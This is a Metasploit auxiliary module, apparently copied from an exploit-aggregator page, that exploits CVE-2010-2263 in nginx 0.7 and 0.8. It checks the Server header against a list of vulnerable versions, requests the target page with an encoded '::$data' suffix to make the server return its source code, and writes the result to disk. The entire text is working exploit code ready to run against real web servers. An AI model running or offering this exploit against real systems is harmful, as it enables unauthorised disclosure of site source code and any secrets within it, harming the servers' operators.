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## https://sploitus.com/exploit?id=PACKETSTORM:181086
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Nginx Source Code Disclosure/Download',  
'Description' => %q{  
This module exploits a source code disclosure/download vulnerability in  
versions 0.7 and 0.8 of the nginx web server. Versions 0.7.66 and 0.8.40  
correct this vulnerability.  
},  
'References' =>  
[  
[ 'CVE', '2010-2263' ],  
[ 'OSVDB', '65531' ],  
[ 'BID', '40760' ],  
[ 'EDB', '13818' ],  
[ 'EDB', '13822' ]  
],  
'Author' =>  
[  
'Tiago Ferreira <tiago.ccna[at]gmail.com>',  
],  
'License' => MSF_LICENSE)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),  
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),  
])  
end  
  
def run_host(ip)  
uri = normalize_uri(target_uri.path)  
path_save = datastore['PATH_SAVE']  
  
vuln_versions = [  
# 0.7  
"nginx/0.7.56","nginx/0.7.58","nginx/0.7.59",  
"nginx/0.7.60","nginx/0.7.61","nginx/0.7.62",  
"nginx/0.7.63","nginx/0.7.64","nginx/0.7.65",  
# 0.8  
"nginx/0.8.33","nginx/0.8.34","nginx/0.8.35",  
"nginx/0.8.36","nginx/0.8.37","nginx/0.8.38",  
"nginx/0.8.39"  
]  
  
get_source = Rex::Text.uri_encode("::$data")  
  
begin  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => "#{uri}#{get_source}",  
}, 25)  
  
if res.nil?  
print_error("#{full_uri} - nginx - Connection timed out")  
return  
else  
version = res.headers['Server']  
http_fingerprint({ :response => res })  
end  
  
if vuln_versions.include?(version)  
print_good("#{full_uri} - nginx - Vulnerable version: #{version}")  
  
if (res and res.code == 200)  
  
print_good("#{full_uri} - nginx - Getting the source of page #{uri}")  
  
save_source = File.new("#{path_save}#{uri}","w")  
save_source.puts(res.body.to_s)  
save_source.close  
  
print_good("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))  
  
else  
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")  
return  
  
end  
  
else  
if version =~ /nginx/  
print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}")  
else  
print_error("#{full_uri} - nginx - Cannot exploit: the remote server is not ngnix")  
end  
return  
  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end